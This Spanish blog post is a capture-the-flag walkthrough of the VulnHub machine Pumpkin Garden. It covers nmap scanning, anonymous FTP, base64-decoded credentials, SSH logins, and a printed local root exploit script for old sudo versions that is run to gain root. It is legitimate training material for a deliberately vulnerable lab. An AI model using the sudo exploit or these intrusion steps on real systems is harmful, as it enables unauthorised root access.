Es este post vamos a resolver el reto Pumpkin Garden, una máquina para practicar pentesting y hacking ético. Empezamos.
Introducción a Pumpkin Garden
Dando una vuelta por https://www.vulnhub.com he encontrado una máquina sencillita para ir practicando algo básico de hacking. Jayanth ha creado una máquina inicial para una serie que ha llamado Mission Pumpkin, a priori bastante sencilla. Aquí voy a ir narrando cómo he resuelto este primer reto.
La máquina la puede encontrar en la web de VulnHub, en la entrada llamada PumpkinGarden.
Esta máquina virtual se basa es una típica captura de bandera, también llamada CTF. Está pensada para novatos del hacking, como es mi caso. Según dice el autor, es la primera de una serie de tres máquinas, de las que he visto por ahora publicadas sólo dos. El objetivo final del CTF es ganar acceso como usuario root a su cuenta y conseguir la llamada PumpkinGarden_key.
Spoiler importante: En este post resuelvo el ejercicio de Pumpkin Garden. Si estás haciéndolo o quieres hacerlo, no deberías dejarte vencer con facilidad. Usa este post sólo cuando te sientas atascado y quieras una ayuda para encontrar la solución. Se aprende tratando de descifrar las cosas por ti mismo, así que te aconsejo que revises esta resolución solo si lo necesitas.
Instalar la máquina Pumpkin Garden y ponerla en marcha
Las máquinas que se pueden descargar en VulnHub suelen ser un formato OVA, para importarlas en Virtual Box. Una vez cogida de su portal, instalarla es sencilla. Está activado el DCHP de la misma por defecto, así que en cuanto la enchufes cogerá IP del servidor DCHP que tengas en Virtual Box o de tu red interna, según que red le configures en el host.
Para empezar, la máquina arranca ya con la IP publicada, así que te puedes ahorrar el buscar las IPs a atacar en la red. Además así puedes ver si la IP la ha proporcionado tu servidor DHCP y no tiene alguna otra extraña por error.
Con esto, ya puedes empezar buscando con nmap los puertos que tiene activos, para tratar de averiguar qué servicios puede estar sirviendo. Como no conocemos en qué puertos hay algo, y puesto que nmap por defecto recorre sólo del 0 al 1000, deberemos usar la opción -p- para escanearlos todos. Usaremos también la opción -A para detectar el sistema operativo, versión, un escaneo general y un traceroute.
nmap -sT -A 10.0.2.5 -p-
El resultado arroja esto:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-07 16:38 CEST
Nmap scan report for 10.0.2.5
Host is up (0.00028s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 88 Jun 13 00:02 note.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.0.2.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
1515/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Mission-Pumpkin
3535/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d8:8d:e7:48:3a:3c:91:0e:3f:43:ea:a3:05:d8:89:e2 (DSA)
| 2048 f0:41:8f:e0:40:e3:c0:3a:1f:4d:4f:93:e6:63:24:9e (RSA)
| 256 fa:87:57:1b:a2:ba:92:76:0c:e7:85:e7:f5:3d:54:b1 (ECDSA)
|_ 256 fa:e8:42:5a:88:91:b4:4b:eb:e4:c3:74:2e:23:a5:45 (ED25519)
MAC Address: 08:00:27:20:A9:84 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.28 ms 10.0.2.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.60 seconds
De aquí podemos sacar varias cosas interesantes es esta máquina de Pumpkin Garden:
Por un lado, tenemos en el puerto 21 un servidor FTP. Muy interesante es ver que además soporta autentificación anónima. Además, en su directorio parece haber un fichero llamado note.txt.
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 88 Jun 13 00:02 note.txt
Por otro lado, en el puerto 1515 hay un servidor web Apache. Sin duda, ahí estará sirviendo páginas web.
1515/tcp open http Apache httpd 2.4.7 ((Ubuntu))
Por último, en el puerto 3535 parece haber un servicio SSH. Sólo nos faltará encontrar un usuario y contraseña para entrar por ahí.
3535/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
Entrada por el servidor FTP
Lo primero que vamos a hacer es entrar al ftp al servidor por el puerto 21. Se puede usar como usuario anonymous y como contraseña cualquier cosa, pues no afecta a la entrada como anónimo.
root@kali:~/Descargas# ftp 10.0.2.5
Connected to 10.0.2.5.
220 Welcome to Pumpkin's FTP service.
Name (10.0.2.5:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Ya dentro del servidor, podemos listar con ls para ver qué hay dentro, y vemos el archivo note.txt que mostró el nmap. Con mget descargamos el archivo para ver qué contiene.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 88 Jun 13 00:02 note.txt
226 Directory send OK.
ftp> mget note.txt
mget note.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (88 bytes).
226 Transfer complete.
88 bytes received in 0.00 secs (716.1459 kB/s)
Tras descargar el archivo en local miramos su contenido. Es un mensajito con alguna pista que tendremos que descifrar.
root@kali:~/Descargas# cat note.txt
Hello Dear!
Looking for route map to PumpkinGarden? I think jack can help you find it.
Ok, ya sabemos que seguramente hay un usuario llamado jack. Pero tampoco nos dice mucho. Vamos a ver el siguiente puerto.
Página web en el puerto 1515
Si accedemos con un explorador web a la IP del servidor por el puerto 1515, veremos que hay una página web estática.
Aquí no vemos aparentemente nada interesante. Cuando encuentro una web como esta, lo que suelo hacer para echarle un vistazo rápido, es pasarle el nikto, así que vamos a ello. No olvides añadir el -p al puerto 1515.
root@kali:~/Descargas# nikto -h 10.0.2.5 -p 1515
Esto nos arroja un resultado interesante. Por lo visto, el directorio img puede ser listado.
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
Echando un vistazo a lo que contiene desde el explorador web, vemos que hay un directorio muy interesante.
Revisando las imágenes no veo nada interesante. Todas parecen reales. Lo verdaderamente útil es lo que hay dentro del directorio hidden_secret.
Si abrimos el fichero con el explorador web (o con wget desde la terminal), podemos ver su contenido:
c2NhcmVjcm93IDogNVFuQCR5
¡Toma castaña! ¿Y esto qué es? Bueno, hay que echarle un poco de imaginación. Podría ser la clave de jack, pero podemos observar que el formato es parecido al base64. Para probar si hay algo ahí en ese formato, desde la terminal puedes pasarlo a texto y ver si sale algo.
root@kali:~/Descargas# echo c2NhcmVjcm93IDogNVFuQCR5 | base64 -d
scarecrow : 5Qn@$y
Cojonudo. El mensaje del fichero clue.txt da como resultado lo que parece un usuario y contraseña.
Podría ser un usuario del ftp, o quizá hasta pueda entrar por ssh con el puerto que ya vimos en el 3535. Vamos a probar esto último, a ver si hay suerte.
Entrando por ssh con scarecrow
¿Probamos el curioso usuario espantapájaros? Vamos a verlo. Recuerda usar el puerto 3535.
root@kali:~/Descargas# ssh -l scarecrow 10.0.2.5 -p 3535
------------------------------------------------------------------------------
Welcome to Mission-Pumpkin
All remote connections to this machine are monitored and recorded
------------------------------------------------------------------------------
scarecrow@10.0.2.5's password:
Last login: Sun Jul 7 02:34:08 2019 from 10.0.2.4
scarecrow@Pumpkin:~$
¡Perfecto! El usuario sacarecrow puede entrar por ssh con la contraseña del fichero que hemos descifrado. Pues nada, vamos a mirar su directorio a ver si hay algo interesante.
scarecrow@Pumpkin:~$ ls
note.txt
scarecrow@Pumpkin:~$ cat note.txt
Oops!!! I just forgot; keys to the garden are with LordPumpkin(ROOT user)!
Reach out to goblin and share this "Y0n$M4sy3D1t" to secretly get keys from LordPumpkin.
Ummmm… un fichero llamado note.txt nos muestra alguna pista. Por lo visto, dice que un usuario root podría tener la llave. Además nos dice que busquemos al goblin y compartamos una especie de contraseña para conseguir la llave.
Vale, vamos a probar a entrar con el usuario goblin y lo que parece su contraseña por ssh, a ver si cuela.
root@kali:~/Descargas# ssh -l goblin 10.0.2.5 -p 3535
------------------------------------------------------------------------------
Welcome to Mission-Pumpkin
All remote connections to this machine are monitored and recorded
------------------------------------------------------------------------------
goblin@10.0.2.5's password:
Last login: Thu Jun 13 00:43:14 2019 from 192.168.1.106
goblin@Pumpkin:~$
¡Estupendo! Ahora estamos con el usuario goblin. Veamos si su directorio tiene algo.
goblin@Pumpkin:~$ ls
note
goblin@Pumpkin:~$ cat note
Hello Friend! I heard that you are looking for PumpkinGarden key.
But Key to the garden will be with LordPumpkin(ROOT user), don't worry, I know where LordPumpkin had placed the Key.
You can reach there through my backyard.
Here is the key to my backyard
https://www.securityfocus.com/data/vulnerabilities/exploits/38362.sh
Por lo visto hay un fichero llamado note. Nos cuenta lo mismo que el anterior. Hay que llegar a ser root para coger la llave, pero nos da como pista un enlace donde por lo visto hay un exploit en .sh para acceder. Vamos a descargarlo a nuestro ordenador local. Tras eso, con un editor de texto veremos su contenido.
#!/bin/sh
# Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4
# local root exploit
# March 2010
# automated by kingcope
# Full Credits to Slouching
echo Tod Miller Sudo local root exploit
echo by Slouching
echo automated by kingcope
if [ $# != 1 ]
then
echo "usage: ./sudoxpl.sh <file you have permission to edit>"
exit
fi
cd /tmp
cat > sudoedit << _EOF
#!/bin/sh
echo ALEX-ALEX
su
/bin/su
/usr/bin/su
_EOF
chmod a+x ./sudoedit
sudo ./sudoedit $1
Mirando el código, se ve que hay que ejecutarlo añadiendo un argumento con el nombre de un fichero que tengas permiso de edición. Probamos a crear un archivo llamado sudoxpl.sh con un editor de texto como nano, y copiamos todo el contenido del fichero descargado en la máquina remota.
goblin@Pumpkin:~$ nano sudoxpl.sh
Guardamos el fichero y lo ejecutamos con sh. Por lo visto, aquí hay que darse vidilla o se te puede borrar. Si te pregunta la contraseña, hay que introducir la de goblin con rapidez.
goblin@Pumpkin:~$ sh ./sudoxpl.sh prueba
Tod Miller Sudo local root exploit
by Slouching
automated by kingcope
ALEX-ALEX
root@Pumpkin:/tmp# whoami
root
Vaya, vaya…. Con esto hemos conseguido autentificarnos como root. Pues nada, vamos a su directorio home y vemos qué nos encontramos ahí.
root@Pumpkin:/tmp# cd
root@Pumpkin:~# ls
PumpkinGarden_Key
root@Pumpkin:~# cat PumpkinGarden_Key
Q29uZ3JhdHVsYXRpb25zIQ==
Eso parece otra cadena en base64. Vamos a ver si la podemos decodificar de nuevo y da resultado.
root@Pumpkin:~# echo Q29uZ3JhdHVsYXRpb25zIQ== | base64 -d
Congratulations!
¡Ole! Conseguido. El mensaje Congratulations! es bastante representativo, ¿no?
Mission Pumpkin resuelto
Pues ya lo tenemos resuelto. En el primer ejercicio llamado Pumpkin Garden hemos visto varios servicios en puertos diferentes y varias claves en base64 que hemos tenido que descifrar, y al final hemos obtenido el resultado.
¿Te ha parecido fácil?
Deja una respuesta